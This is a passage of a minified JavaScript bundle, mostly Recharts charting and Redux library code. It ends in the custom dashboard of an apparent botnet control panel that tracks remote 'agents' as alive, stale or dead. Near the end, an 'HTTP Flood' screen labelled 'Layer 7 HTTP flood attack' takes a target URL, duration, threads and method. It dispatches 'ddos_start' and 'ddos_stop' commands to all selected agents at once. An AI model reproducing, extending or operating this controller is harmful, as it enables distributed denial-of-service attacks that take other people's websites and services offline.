m.createElement(AW,{showLabels:w,points:o},r.children,m.createElement(Yd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:N,key:g},S=>{if(k){var O=k.length/o.length,A=S===1?o:o.map((P,D)=>{var G=Math.floor(D*O);if(k[G]){var R=k[G];return Va(Va({},P),{},{x:At(R.x,P.x,S),y:At(R.y,P.y,S)})}return P}),T;return ge(l)?T=At(z,l,S):Mt(l)||mr(l)?T=At(z,0,S):T=l.map((P,D)=>{var G=Math.floor(D*O);if(Array.isArray(z)&&z[G]){var R=z[G];return Va(Va({},P),{},{x:At(R.x,P.x,S),y:At(R.y,P.y,S)})}return P}),S>0&&(i.current=A,s.current=T),m.createElement(Eb,{points:A,baseLine:T,needClip:t,clipPathId:n,props:r})}return S>0&&(i.current=o,s.current=l),m.createElement(tn,null,c&&m.createElement("defs",null,m.createElement("clipPath",{id:"animationClipPath-".concat(n)},m.createElement(MW,{alpha:S,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),m.createElement(tn,{clipPath:"url(#animationClipPath-".concat(n,")")},m.createElement(Eb,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),m.createElement(hz,{label:r.label}))}function IW(e){var{needClip:t,clipPathId:n,props:r}=e,i=m.useRef(null),s=m.useRef();return m.createElement(LW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:s})}class DW extends m.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:s,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:p,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Qe("recharts-area",i),y=p,{r:v,strokeWidth:b}=HF(n),w=kz(n),j=v*2+b,N=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return m.createElement(Mi,{zIndex:x},m.createElement(tn,{className:g},l&&m.createElement("defs",null,m.createElement(VF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&m.createElement("clipPath",{id:"clipPath-dots-".concat(y)},m.createElement("rect",{x:o-j/2,y:s-j/2,width:d+j,height:f+j}))),m.createElement(IW,{needClip:l,clipPathId:y,props:this.props})),m.createElement(kb,{points:r,mainColor:Hu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}),this.props.isRange&&Array.isArray(h)&&m.createElement(kb,{points:h,mainColor:Hu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}))}}var Hz={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Zt.area};function RW(e){var t,n=gn(e,Hz),{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:p,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=Vz(n,NW),b=ws(),w=H3(),{needClip:j}=Iz(g,y),N=Jn(),{points:k,isRange:z,baseLine:S}=(t=je(G=>wW(G,e.id,N)))!==null&&t!==void 0?t:{},O=gv();if(b!=="horizontal"&&b!=="vertical"||O==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:A,width:T,x:P,y:D}=O;return!k||!k.length?null:m.createElement(DW,na({},v,{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,baseLine:S,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:A,hide:f,layout:b,isAnimationActive:p==="auto"?!Gd.isSsr:p,isRange:z,legendType:h,needClip:j,points:k,stroke:x,width:T,left:P,top:D,xAxisId:g,yAxisId:y}))}var $W=(e,t,n,r,i)=>{var s=n??t;if(ge(s))return s;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return s==="dataMin"?u:s==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return s==="dataMin"?l[0]:s==="dataMax"?l[1]:l[0]};function BW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:s,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:p,bandSize:h}=e,x=i&&i.length,g=$W(s,o,n,l,c),y=s==="horizontal",v=!1,b=u.map((j,N)=>{var k,z,S,O;if(x)O=i[d+N];else{var A=Ve(j,r);Array.isArray(A)?(O=A,v=!0):O=[g,A]}var T=(k=(z=O)===null||z===void 0?void 0:z[1])!==null&&k!==void 0?k:null,P=T==null||x&&!t&&Ve(j,r)==null;if(y){var D;return{x:My({axis:l,ticks:f,bandSize:h,entry:j,index:N}),y:P?null:(D=c.scale.map(T))!==null&&D!==void 0?D:null,value:O,payload:j}}return{x:P?null:(S=l.scale.map(T))!==null&&S!==void 0?S:null,y:My({axis:c,ticks:p,bandSize:h,entry:j,index:N}),value:O,payload:j}}),w;return x||v?w=b.map(j=>{var N,k=Array.isArray(j.value)?j.value[0]:null;if(y){var z;return{x:j.x,y:k!=null&&j.y!=null&&(z=c.scale.map(k))!==null&&z!==void 0?z:null,payload:j.payload}}return{x:k!=null&&(N=l.scale.map(k))!==null&&N!==void 0?N:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function FW(e){var t=gn(e,Hz),n=Jn();return m.createElement(Cz,{id:t.id,type:"area"},r=>m.createElement(m.Fragment,null,m.createElement(_B,{legendPayload:PW(t)}),m.createElement(EW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),m.createElement(VB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:kT(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),m.createElement(RW,na({},t,{id:r}))))}var Kz=m.memo(FW,Dz);Kz.displayName="Area";var WW=(e,t)=>t,wv=I([WW,De,Y4,St,R3,Zr,IR,kt],UR),jv=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},Gz=On("mouseClick"),Yz=ll();Yz.startListening({actionCreator:Gz,effect:(e,t)=>{var n=e.payload,r=wv(t.getState(),jv(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(LD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var zh=On("mouseMove"),qz=ll(),rc=null;qz.startListening({actionCreator:zh,effect:(e,t)=>{var n=e.payload;rc!==null&&cancelAnimationFrame(rc);var r=jv(n);rc=requestAnimationFrame(()=>{var i=t.getState(),s=rv(i,i.tooltip.settings.shared);if(s==="axis"){var o=wv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(E3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(P3())}rc=null})}});function UW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var _b={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},Xz=nn({name:"rootProps",initialState:_b,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:_b.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),VW=Xz.reducer,{updateOptions:HW}=Xz.actions,KW=null,GW={updatePolarOptions:(e,t)=>t.payload},Zz=nn({name:"polarOptions",initialState:KW,reducers:GW}),{updatePolarOptions:YW}=Zz.actions,qW=Zz.reducer,Qz=On("keyDown"),Jz=On("focus"),Nv=ll();Nv.startListening({actionCreator:Qz,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,s=e.payload;if(!(s!=="ArrowRight"&&s!=="ArrowLeft"&&s!=="Enter")){var o=iv(i,_s(n),yl(n),wl(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Zr(n);if(s==="Enter"){var u=$u(n,"axis","hover",String(i.index));t.dispatch(bh({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=zD(n),f=d==="left-to-right"?1:-1,p=s==="ArrowRight"?1:-1,h=l+p*f;if(!(c==null||h>=c.length||h<0)){var x=$u(n,"axis","hover",String(h));t.dispatch(bh({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});Nv.startListening({actionCreator:Jz,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var s="0",o=$u(n,"axis","hover",String(s));t.dispatch(bh({active:!0,activeIndex:s,activeCoordinate:o}))}}}});var kn=On("externalEvent"),eS=ll(),_m=new Map;eS.startListening({actionCreator:kn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,s=_m.get(i);s!==void 0&&cancelAnimationFrame(s);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:wR(l),activeDataKey:W3(l),activeIndex:ps(l),activeLabel:F3(l),activeTooltipIndex:ps(l),isTooltipActive:jR(l)};n(c,r)}finally{_m.delete(i)}});_m.set(i,o)}}});var XW=I([Ps],e=>e.tooltipItemPayloads),ZW=I([XW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(s=>s.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),tS=On("touchMove"),nS=ll();nS.startListening({actionCreator:tS,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=rv(r,r.tooltip.settings.shared);if(i==="axis"){var s=n.touches[0];if(s==null)return;var o=wv(r,jv({clientX:s.clientX,clientY:s.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(E3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(vk),f=(l=u.getAttribute(gk))!==null&&l!==void 0?l:void 0,p=Es(r).find(g=>g.id===f);if(d==null||p==null||f==null)return;var{dataKey:h}=p,x=ZW(r,d,f);t.dispatch(C3({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var QW=FN({brush:DF,cartesianAxis:EF,chartData:y9,errorBars:UF,graphicalItems:WB,layout:hT,legend:gM,options:p9,polarAxis:Q$,polarOptions:qW,referenceElements:$F,rootProps:VW,tooltip:ID,zIndex:r9}),JW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return BO({reducer:QW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([Yz.middleware,qz.middleware,Nv.middleware,eS.middleware,nS.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(nk({type:"raf"}))},devTools:{serialize:{replacer:UW},name:"recharts-".concat(n)}})};function rS(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Jn(),s=m.useRef(null);if(i)return n;s.current==null&&(s.current=JW(t,r));var o=Hx;return m.createElement(mW,{context:o,store:s.current},n)}function eU(e){var{layout:t,margin:n}=e,r=ot(),i=Jn();return m.useEffect(()=>{i||(r(fT(t)),r(dT(n)))},[r,i,t,n]),null}var iS=m.memo(eU,Dz);function aS(e){var t=ot();return m.useEffect(()=>{t(HW(e))},[t,e]),null}function Ab(e){var{zIndex:t,isPanorama:n}=e,r=m.useRef(null),i=ot();return m.useLayoutEffect(()=>(r.current&&i(t9({zIndex:t,element:r.current,isPanorama:n})),()=>{i(n9({zIndex:t,isPanorama:n}))}),[i,t,n]),m.createElement("g",{tabIndex:-1,ref:r})}function Ob(e){var{children:t,isPanorama:n}=e,r=je(HR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),s=r.filter(o=>o>0);return m.createElement(m.Fragment,null,i.map(o=>m.createElement(Ab,{key:o,zIndex:o,isPanorama:n})),t,s.map(o=>m.createElement(Ab,{key:o,zIndex:o,isPanorama:n})))}var tU=["children"];function nU(e,t){if(e==null)return{};var n,r,i=rU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var n=nM(),r=rM(),i=Ik();if(!Si(n)||!Si(r))return null;var{children:s,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),m.createElement(Fj,Ku({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:iU,ref:t}),s)}),sU=e=>{var{children:t}=e,n=je(Wd);if(!n)return null;var{width:r,height:i,y:s,x:o}=n;return m.createElement(Fj,{width:r,height:i,x:o,y:s},t)},Tb=m.forwardRef((e,t)=>{var{children:n}=e,r=nU(e,tU),i=Jn();return i?m.createElement(sU,null,m.createElement(Ob,{isPanorama:!0},n)):m.createElement(aU,Ku({ref:t},r),m.createElement(Ob,{isPanorama:!1},n))});function oU(){var e=ot(),[t,n]=m.useState(null),r=je(_T);return m.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),s=i.width/t.offsetWidth;Ee(s)&&s!==r&&e(pT(s))}},[t,e,r]),n}function Mb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function lU(e){for(var t=1;t(P9(),null);function Gu(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var mU=m.forwardRef((e,t)=>{var n,r,i=m.useRef(null),[s,o]=m.useState({containerWidth:Gu((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Gu((r=e.style)===null||r===void 0?void 0:r.height)}),l=m.useCallback((u,d)=>{o(f=>{var p=Math.round(u),h=Math.round(d);return f.containerWidth===p&&f.containerHeight===h?f:{containerWidth:p,containerHeight:h}})},[]),c=m.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var p=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(p);h.observe(u),i.current=h}},[t,l]);return m.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),m.createElement(m.Fragment,null,m.createElement(ul,{width:s.containerWidth,height:s.containerHeight}),m.createElement("div",ji({ref:c},e)))}),pU=m.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,s]=m.useState({containerWidth:Gu(n),containerHeight:Gu(r)}),o=m.useCallback((c,u)=>{s(d=>{var f=Math.round(c),p=Math.round(u);return d.containerWidth===f&&d.containerHeight===p?d:{containerWidth:f,containerHeight:p}})},[]),l=m.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return m.createElement(m.Fragment,null,m.createElement(ul,{width:i.containerWidth,height:i.containerHeight}),m.createElement("div",ji({ref:l},e)))}),hU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))}),xU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?m.createElement(pU,ji({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?m.createElement(hU,ji({},e,{width:n,height:r,ref:t})):m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))});function vU(e){return e?mU:xU}var gU=m.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:s,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:p,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=m.useRef(null),N=ot(),[k,z]=m.useState(null),[S,O]=m.useState(null),A=oU(),T=e0(),P=(T==null?void 0:T.width)>0?T.width:v,D=(T==null?void 0:T.height)>0?T.height:i,G=m.useCallback(C=>{A(C),typeof t=="function"&&t(C),z(C),O(C),C!=null&&(j.current=C)},[A,t,z,O]),R=m.useCallback(C=>{N(Gz(C)),N(kn({handler:s,reactEvent:C}))},[N,s]),K=m.useCallback(C=>{N(zh(C)),N(kn({handler:u,reactEvent:C}))},[N,u]),_=m.useCallback(C=>{N(P3()),N(kn({handler:d,reactEvent:C}))},[N,d]),M=m.useCallback(C=>{N(zh(C)),N(kn({handler:f,reactEvent:C}))},[N,f]),F=m.useCallback(()=>{N(Jz())},[N]),U=m.useCallback(C=>{N(Qz(C.key))},[N]),V=m.useCallback(C=>{N(kn({handler:o,reactEvent:C}))},[N,o]),Z=m.useCallback(C=>{N(kn({handler:l,reactEvent:C}))},[N,l]),ae=m.useCallback(C=>{N(kn({handler:c,reactEvent:C}))},[N,c]),ue=m.useCallback(C=>{N(kn({handler:p,reactEvent:C}))},[N,p]),be=m.useCallback(C=>{N(kn({handler:g,reactEvent:C}))},[N,g]),ye=m.useCallback(C=>{w&&N(tS(C)),N(kn({handler:x,reactEvent:C}))},[N,w,x]),q=m.useCallback(C=>{N(kn({handler:h,reactEvent:C}))},[N,h]),te=vU(b);return m.createElement(X3.Provider,{value:k},m.createElement(T_.Provider,{value:S},m.createElement(te,{width:P??(y==null?void 0:y.width),height:D??(y==null?void 0:y.height),className:Qe("recharts-wrapper",r),style:lU({position:"relative",cursor:"default",width:P,height:D},y),onClick:R,onContextMenu:V,onDoubleClick:Z,onFocus:F,onKeyDown:U,onMouseDown:ae,onMouseEnter:K,onMouseLeave:_,onMouseMove:M,onMouseUp:ue,onTouchEnd:q,onTouchMove:ye,onTouchStart:be,ref:G},m.createElement(fU,null),n)))}),yU=["width","height","responsive","children","className","style","compact","title","desc"];function bU(e,t){if(e==null)return{};var n,r,i=wU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:s,className:o,style:l,compact:c,title:u,desc:d}=e,f=bU(e,yU),p=Mr(f);return c?m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement(Tb,{otherAttributes:p,title:u,desc:d},s)):m.createElement(gU,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},m.createElement(Tb,{otherAttributes:p,title:u,desc:d,ref:t},m.createElement(FF,null,s)))});function Sh(){return Sh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(YW(e))},[t,e]),null}var SU=["layout"];function Ch(){return Ch=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=gn(e,LU);return m.createElement(_U,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:MU,tooltipPayloadSearcher:Q3,categoricalChartProps:n,ref:t})}),DU=["axis"],RU=m.forwardRef((e,t)=>m.createElement(kU,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:DU,tooltipPayloadSearcher:Q3,categoricalChartProps:e,ref:t}));function $U({agents:e}){const t=m.useMemo(()=>{const i=Date.now(),s=24*60*60*1e3,o=24,l=s/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:p,count:h})}return c},[e]),n=m.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,s=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:s,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=m.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:a.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),a.jsx("div",{style:{height:100},children:a.jsx(Wy,{width:"100%",height:"100%",children:a.jsxs(RU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[a.jsx("defs",{children:a.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[a.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),a.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),a.jsx(W2,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),a.jsx(Kz,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsx("div",{style:{width:100,height:100},children:a.jsx(Wy,{width:"100%",height:"100%",children:a.jsxs(IU,{children:[a.jsx(Ez,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,s)=>a.jsx(mf,{fill:i.color},s))}),a.jsx(W2,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),a.jsx("div",{className:"space-y-2",children:n.map(i=>a.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[a.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),a.jsx("span",{className:"text-zerin-text-dim",children:i.name}),a.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function BU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useRef(null),c=m.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=m.useCallback(f=>{t(e.filter(p=>p!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return a.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>a.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r + bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&a.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&a.jsx(a.Fragment,{children:s?a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-all`}):a.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r + text-zerin-text-muted hover:text-zerin-accent\r + border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r + transition-colors`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const FU=["GET","POST","HEAD"],WU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function lS({agentIds:e,agentStatus:t}){const[n,r]=m.useState(""),[i,s]=m.useState(60),[o,l]=m.useState(10),[c,u]=m.useState("GET"),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(!1),[y,v]=m.useState([]),b=t==="dead",w=e.length,j=(z,S)=>{h({text:z,type:S}),setTimeout(()=>h(null),5e3)},N=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const S=(await Promise.allSettled(e.map(A=>Me(A,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((A,T)=>({agentId:e[T],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(S);const O=S.filter(A=>A.ok).length;g(O>0),O===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${O}/${w} agents (${w-O} failed)`,O>0?"ok":"err")}catch(z){j(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0),v([]);try{const S=(await Promise.allSettled(e.map(A=>Me(A,{command:"ddos_stop"})))).map((A,T)=>({agentId:e[T],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(S),g(!1);const O=S.filter(A=>A.ok).length;j(`Stop sent to ${O}/${w} agent${w!==1?"s":""}`,"ok")}catch(z){j(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&a.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),y.length>1&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(z=>a.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${z.ok?"bg-emerald-400":"bg-red-400"}`}),a.jsx("span",{className:"text-zerin-text-dim",children:z.agentId.slice(0,8)}),a.jsx("span",{className:z.ok?"text-emerald-400":"text-red-400",children:z.ok?"OK":z.error})]},z.agentId))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),a.jsx("input",{type:"text",value:n,onChange:z=>r(z.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + 